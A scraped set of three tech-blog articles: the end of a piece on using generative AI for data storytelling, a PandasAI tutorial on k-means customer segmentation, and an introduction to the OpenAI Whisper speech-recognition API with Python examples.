Were there specific campaigns or promotions that were particularly successful? 3. Customer Demographics: Has there been a change in the demographics of the customers who are purchasing? Are younger or older age groups more engaged on social media?From the above prompt and resulting information it is clear how generative AI helps in crafting the story and further exploring complex information relationships in ways that previously required expertise. As a result, large lanague models in the exploration phase can help:Improve the exploration ideas and hypothesis.Creating quck infographicsAutomate the manual process of narrative creation and summarization.Insights of leveraging AI for more effective data communication There can be various ways of leveraging artificial intelligence to incorporate data communication effectively. These are the top areas where generative AI can help boost the operation.Streamlined Unstructured Data AnalysisLarge language models are very good at ingesting and interpreting bodies of text and interpreting and extracting summarized facts. The latest generative AI tools, including OpenAI, now support interpreting large documents including PDFs and spreadsheets as large as 100MB. For example, you can potentially import and interpret an annual statement and summarize it. For large data sets representing many documents or gigabytes of data, there are a number of ingest, indexing, and large language model integration techniques to effectively expand the body of knowledge and context your model has to formulate data stories.Advancing analyticsDemocratization of data science is further expanded thanks to large language models’ ability to interpret and write code, notably Python. Using code interpreter, we can easily feed AI tens or hundreds of thousands of data points and predict the most predictive variables that determine a target variable. For example, after importing 50,000 records and feeding the following prompt a modern AI model can automatically perform steps traditionally carried out by a data analyst or data scientist. To successfully use this method, you still need to understand and interpret results and direct any miscalculations. For example, the AI model will not help you understand variables that overfit.The steps we'll follow are:1. Data Preprocessing:Handle missing values.Encode categorical variables.Split the dataset into training and testing sets.2. Train a model (e.g., random forest) using the data.3. Extract feature importance to determine the most predictive variables.Resulting code example: # Redefining the RandomForestClassifier rf = RandomForestClassifier(n_estimators=100, random_state=42) # Training a RandomForest model rf.fit(X_train, y_train) # Extracting feature importances feature_importances = rf.feature_importances_ sorted_idx = feature_importances.argsort()[-10:][::-1]  # We'll display the top 10 features top_features = X.columns[sorted_idx] top_importances = feature_importances[sorted_idx] top_features, top_importancesResulting code example:Based on the Random Forest model, the top 10 most predictive variables for "Bad" are…ConclusionThere are numerous opportunities to utilize generative AI to aid data storytelling. While the techniques covered in this article help streamline the process, there is no magic easy button to automate data storytelling end to end. In the world of data storytelling, AI is a perfect augmentation tool to craft a narrative, perform analysis, and inspire new ideas. However, the competitive and disruptive world of AI is already merging computer vision, code interpretation, and generative AI further opening the door for new techniques. As images and text converge with code interpretation, we should see new distributive storytelling tools emerge. The most important ingredient is always the data itself. I am excited to continue to explore and experiment with these advancements to streamline my data storytelling abilities.Author BioRyan Goodman has dedicated 20 years to the business of data and analytics, working as a practitioner, executive, and entrepreneur. He recently founded DataTools Pro after 4 years at Reliant Funding, where he served as the VP of Analytics and BI. There, he implemented a modern data stack, utilized data sciences, integrated cloud analytics, and established a governance structure. Drawing from his experiences as a customer, Ryan is now collaborating with his team to develop rapid deployment industry solutions. These solutions utilize machine learning, LLMs, and modern data platforms to significantly reduce the time to value for data and analytics teams.

Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!Understanding customer needs is critical for business success. Segmenting customers into groups with common traits allows for targeting products, marketing, and services. This guide will walk through customer segmentation using PandasAI, a Python library that makes the process easy and accessible.OverviewWe'll work through segmenting sample customer data step-by-step using PandasAI's conversational interface. Specifically, we'll cover:Loading and exploring customer dataSelecting segmentation featuresDetermining the optimal number of clustersPerforming clustering with PandasAIAnalyzing and describing the segmentsFollow along with the explanations and code examples below to gain hands-on experience with customer segmentation in Python.IntroductionCustomer segmentation provides immense value by enabling tailored messaging and product offerings. But for many, the technical complexity makes segmentation impractical. PandasAI removes this barrier by automating the process via simple conversational queries.In this guide, we'll explore customer segmentation hands-on by working through examples using PandasAI. You'll learn how to load data, determine clusters, perform segmentation, and analyze results. The steps are accessible even without extensive data science expertise. By the end, you'll be equipped to leverage PandasAI's capabilities to unlock deeper customer insights. Let's get started!Step 1 - Load Customer DataWe'll use a fictional customer dataset customers.csv containing 5000 rows with attributes like demographics, location, transactions, etc. Let's load it with Pandas:import pandas as pd customers = pd.read_csv("customers.csv")Preview the data:customers.head()This gives us a sense of available attributes for segmentation.Step 2 - Select Segmentation FeaturesNow we need to decide which features to use for creating customer groups. For this example, let's select:AgeGenderCityNumber of TransactionsExtract these into a new DataFrame:segmentation_features = ['age', 'gender', 'city', 'transactions'] customer_data = customers[segmentation_features]Step 3 - Determine Optimal Number of ClustersA key step is choosing the appropriate number of segments k. Too few reduces distinction, too many makes them less useful.Traditionally, without using PandasAI, we should apply the elbow method to identify the optimal k value for the data. Something like this:from sklearn.cluster import KMeans from sklearn.preprocessing import OneHotEncoder from sklearn.impute import SimpleImputer import pandas as pd import matplotlib.pyplot as plt # Handle missing values by imputing with the most frequent value in each column imputer = SimpleImputer(strategy='most_frequent') df_imputed = pd.DataFrame(imputer.fit_transform(customers), columns=customers.columns) # Perform one-hot encoding for the 'gender' and 'city' columns encoder = OneHotEncoder(sparse=False) gender_city_encoded = encoder.fit_transform(df_imputed[['gender', 'city']]) # Concatenate the encoded columns with the original DataFrame df_encoded = pd.concat([df_imputed, pd.DataFrame(gender_city_encoded, columns=encoder.get_feature_names_out(['gender', 'city']))], axis=1) # Drop the original 'gender' and 'city' columns as they're no longer needed after encoding df_encoded.drop(columns=['gender', 'city'], inplace=True) # Calculate SSE for k = 1 to 9 sse = {} for k in range(1, 9): km = KMeans(n_clusters=k) km.fit(df_encoded) sse[k] = km.inertia_ # Plot elbow curve plt.plot(list(sse.keys()), list(sse.values())) plt.xlabel("Number of Clusters") plt.ylabel("SSE") plt.show()Examining the elbow point, 4 seems a good number of clusters for this data, so we’ll create 4 clusters.Too complicated? You can easily let PandasAI do it for you.customers.chat("What is the ideal amount of clusters for the given dataset?") # 4 PandasAI will use a silhouette score under the hood to calculate the optimal amount of clusters based on your data.Silhouette score is a metric used to evaluate the goodness of a clustering model. It measures how well each data point fits within its assigned cluster versus how well it would fit within other clusters.PandasAI leverages silhouette analysis to pick the optimal number of clusters for k-means segmentation based on which configuration offers the best coherence within clusters and distinction between clusters for the given data.Step 4 - Perform Clustering with PandasAINow we'll use PandasAI to handle clustering based on the elbow method insights.First import and initialize a SmartDataFrame:from pandasai import SmartDataframe sdf = SmartDataframe(customers)Then simply ask PandasAI to cluster:segments = sdf.chat(""" Segment customers into 4 clusters based on their age, gender, city and number of transactions. """)This performs k-means clustering and adds the segment labels to the original data. Let's inspect the results:print(segments)Each customer now has a cluster segment assigned.Step 5 - Analyze and Describe ClustersWith the clusters created, we can derive insights by analyzing them:centers = segments.chat("Show cluster centers") print(centers)Step 6 - Enrich Analysis with Additional DataOur original dataset contained only a few features. To enhance the analysis, we can join the clustered data with additional customer info like:Purchase historyCustomer lifetime valueEngagement metricsProduct usageRatings/reviewsBringing in other datasets allows drilling down into each segment with a deeper perspective.For example, we could join the review history and analyze customer satisfaction patterns within each cluster:# Join purchase data to segmented dataset enriched_data = pd.merge(segments, reviews, on='id') # Revenue for each cluster enriched_data.groupby('cluster').review_score.agg(['mean', 'median', 'count'])This provides a multidimensional view of our customers and segments, unlocking richer insights and enabling a more in-depth analysis for additional aggregate metrics for each cluster.ConclusionIn this guide, we worked through segmenting sample customer data step-by-step using PandasAI. The key aspects covered were:Loading customer data and selecting relevant featuresUsing the elbow method to determine the optimal number of clustersPerforming k-means clustering via simple PandasAI queriesAnalyzing and describing the created segmentsSegmentation provides immense value through tailored products and messaging. PandasAI makes the process accessible even without extensive data science expertise. By automating complex tasks through conversation, PandasAI allows you to gain actionable insights from your customer data.To build on this, additional data like customer lifetime value or engagement metrics could provide even deeper understanding of your customers. The key is asking the right questions – PandasAI handles the hard work to uncover meaningful answers from your data.Now you're equipped with hands-on experience leveraging PandasAI to simplify customer segmentation in Python.Author BioGabriele Venturi is a software engineer and entrepreneur who started coding at the young age of 12. Since then, he has launched several projects across gaming, travel, finance, and other spaces - contributing his technical skills to various startups across Europe over the past decade.Gabriele's true passion lies in leveraging AI advancements to simplify data analysis. This mission led him to create PandasAI, released open source in April 2023. PandasAI integrates large language models into the popular Python data analysis library Pandas. This enables an intuitive conversational interface for exploring data through natural language queries.By open-sourcing PandasAI, Gabriele aims to share the power of AI with the community and push boundaries in conversational data analytics. He actively contributes as an open-source developer dedicated to advancing what's possible with generative AI.

Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionIn the era of rapid technological advancements, speech recognition technology has emerged as a game-changer, revolutionizing how we interact with machines and devices.As we know, OpenAI has developed an exceptional Automatic Speech Recognition (ASR) system known as OpenAI Whisper.In this blog, we will deeply dive into Whisper, understanding its capabilities, applications, and how you can harness its power through the Whisper API.Understanding OpenAI WhisperWhat is OpenAI Whisper?Well, put-“You Speak…AI Writes” OpenAI Whisper is an advanced ASR system that converts spoken language into written text.Built on cutting-edge technology and trained on 680,000 hours of multilingual and multitask supervised data collected from the web, OpenAI Whisper excels in a wide range of speech recognition tasks, making it a valuable tool for developers and businesses.Why Does ASR (Automatic Speech Recognition) Matter?Automatic Speech Recognition (ASR) is not just a cutting-edge technology; it's a game-changer reshaping how we interact with our digital world. Imagine a world where your voice can unlock a wealth of possibilities. That's what ASR, with robust systems like Whisper leading the charge, has made possible.Let's dive deeper into the ASR universe.It's not just about making life more convenient; it's about leveling the playing field. ASR technology is like the magic wand that enhances accessibility for individuals with disabilities. It's the backbone of those voice assistants you chat with and the transcription services that make your voice immortal in text.But ASR doesn't stop there; it's a versatile tool taking over various industries. Picture this: ASR helps doctors transcribe patient records in healthcare with impeccable accuracy and speed. That means better care for you. And let's remember the trusty voice assistants like Siri and Google Assistant, always at your beck and call, answering questions and performing tasks, all thanks to ASR's natural language interaction wizardry. Setup and InstallationWhen embarking on your journey to harness the remarkable power of OpenAI Whisper for Automatic Speech Recognition (ASR), the first crucial step is to set up and install the necessary components.In this section, we will guide you through starting with OpenAI Whisper, ensuring you have everything in place to begin transcribing spoken words into text with astonishing accuracy.Prerequisites Before you dive into the installation process, it's essential to make sure you have the following prerequisites in order:OpenAI Account To access OpenAI Whisper, you must have an active OpenAI account. If you still need to sign up, visit the OpenAI website and create an account.API Key You will need an API key from OpenAI to make API requests. This key acts as your access token to use the Whisper ASR service. Ensure you have your API key ready; if you don't have one, you can obtain it from your OpenAI account.Development Environment It would help to have a functioning development environment for coding and running API requests. You can use your preferred programming language, Python, to interact with the Whisper API. Make sure you have the necessary libraries and tools installed.Installation Steps Now, let's walk through the steps to install and set up OpenAI Whisper for ASR:1. Install the OpenAI Python LibraryIf you haven't already, you must install the OpenAI Python library. This library simplifies the process of making API requests to OpenAI services, including Whisper. You can install it using pip, the Python package manager, by running the following command in your terminal: pip install openai2. Authenticate with Your API KeyYou must authenticate your requests with your API key to interact with the Whisper ASR service. You can do this by setting your API key as an environment variable in your development environment or by directly including it in your code. Here's how you can set the API key as an environment variable:import openai openai.api_key = "YOUR_API_KEY_HERE" Replace "YOUR_API_KEY_HERE" with your actual API key.3. Make API RequestsWith the OpenAI Python library installed and your API key adequately set, you can now start making API requests to Whisper. You can submit audio files or chunks of spoken content and receive transcriptions in response. import openai response = openai.Transcription.create( model="whisper", audio="YOUR_AUDIO_FILE_URL_OR_CONTENT", language="en-US"  # Adjust language code as needed ) print(response['text']) Replace "YOUR_AUDIO_FILE_URL_OR_CONTENT" with the audio source you want to transcribe.Testing Your SetupAfter following these installation steps, testing your setup with a small audio file or sample content is a good practice.This will help you verify that everything functions correctly and that you can effectively convert spoken words into text.Use Cases And ApplicationsTranscription ServicesWhisper excels in transcribing spoken words into text. This makes it a valuable tool for content creators, journalists, and researchers whose work demands them to convert audio recordings into written documents.Voice Assistants Whisper powers voice assistants and chatbots, enabling natural language understanding and interaction. This is instrumental in creating seamless user experiences in applications ranging from smartphones to smart home devices.AccessibilityWhisper enhances accessibility for individuals with hearing impairments by providing real-time captioning services during live events, presentations, and video conferences.Market ResearchASR technology can analyze customer call recordings, providing businesses with valuable insights and improving customer service.Multilingual SupportWhisper supports multiple languages, making it a valuable asset for global companies looking to reach diverse audiences.Making Your First API CallNow that you have your Whisper API key, it's time to make your first API call. Let's walk through a simple example of transcribing spoken language into text using Python.pythonCopy code:import openai # Replace 'your_api_key' with your actual Whisper API key openai.api_key = 'your_api_key' response = openai.Transcription.create( audio="<https://your-audio-url.com/sample-audio.wav>", model="whisper", language="en-US" ) print(response['text'])In this example, we set up the API key, specify the audio source URL, select the Whisper model, and define the language. The response['text'] contains the transcribed text from the audio.Use CasesLanguage DetectionOne of the remarkable features of OpenAI Whisper is its ability to detect the language being spoken.This capability is invaluable for applications that require language-specific processing, such as language translation or sentiment analysis.Whisper's language detection feature simplifies identifying the language spoken in audio recordings, making it a powerful tool for multilingual applications.TranscriptionTranscription is one of the most common use cases for Whisper. Whether you need to transcribe interviews, podcasts, or customer service calls, Whisper's accuracy and speed make it an ideal choice.Developers can integrate Whisper to automate transcription, saving time and resources.Supported LanguagesOpenAI Whisper supports many languages, making it suitable for global applications. Some supported languages include English, Spanish, French, German, Chinese, and others.Open AI supports all these languages as of now-Afrikaans, Arabic, Armenian, Azerbaijani, Belarusian, Bosnian, Bulgarian, Catalan, Chinese, Croatian, Czech, Danish, Dutch, English, Estonian, Finnish, French, Galician, German, Greek, Hebrew, Hindi, Hungarian, Icelandic, Indonesian, Italian, Japanese, Kannada, Kazakh, Korean, Latvian, Lithuanian, Macedonian, Malay, Marathi, Maori, Nepali, Norwegian, Persian, Polish, Portuguese, Romanian, Russian, Serbian, Slovak, Slovenian, Spanish, Swahili, Swedish, Tagalog, Tamil, Thai, Turkish, Ukrainian, Urdu, Vietnamese, and Welsh.Best Practices While Using WhisperWhen working with Whisper for longer-format audio or complex tasks, following best practices is essential. For instance, you can break longer audio files into shorter segments for improved accuracy. Additionally, you can experiment with different settings and parameters to fine-tune the ASR system according to your specific requirements.Here's a simple example of how to break down more extended audio for transcription:pythonCopy codeimport openai # Replace 'your_api_key' with your actual Whisper API key openai.api_key = 'your_api_key' # Divide the longer audio into segments audio_segments = [    "<https://your-audio-url.com/segment1.wav>",    "<https://your-audio-url.com/segment2.wav>",    # Add more segments as needed ] # Transcribe each segment separately for segment in audio_segments:    response = openai.Transcription.create(        audio=segment,        model="whisper",        language="en-US"    )    print(response['text'])These best practices and tips ensure you get the most accurate results when using OpenAI Whisper.ConclusionIn this blog, we've explored the incredible potential of OpenAI Whisper, an advanced ASR system that can transform how you interact with audio data. We've covered its use cases, how to access the Whisper API, make your first API call, and implement language detection and transcription. With its support for multiple languages and best practices for optimizing performance, Whisper is a valuable tool for developers and businesses looking to harness the power of automatic speech recognition.In our next blog post, we will delve even deeper into OpenAI Whisper, exploring its advanced features and the latest developments in ASR technology. Stay tuned for "Advances in OpenAI Whisper: Unlocking the Future of Speech Recognition."For now, start your journey with OpenAI Whisper by requesting access to the API and experimenting with its capabilities. The possibilities are endless, and the power of spoken language recognition is at your fingertips.Author BioVivekanandan, a seasoned Data Specialist with over a decade of expertise in Data Science and Big Data, excels in intricate projects spanning diverse domains. Proficient in cloud analytics and data warehouses, he holds degrees in Industrial Engineering, Big Data Analytics from IIM Bangalore, and Data Science from Eastern University.As a Certified SAFe Product Manager and Practitioner, Vivekanandan ranks in the top 1 percentile on Kaggle globally. Beyond corporate excellence, he shares his knowledge as a Data Science guest faculty and advisor for educational institutes.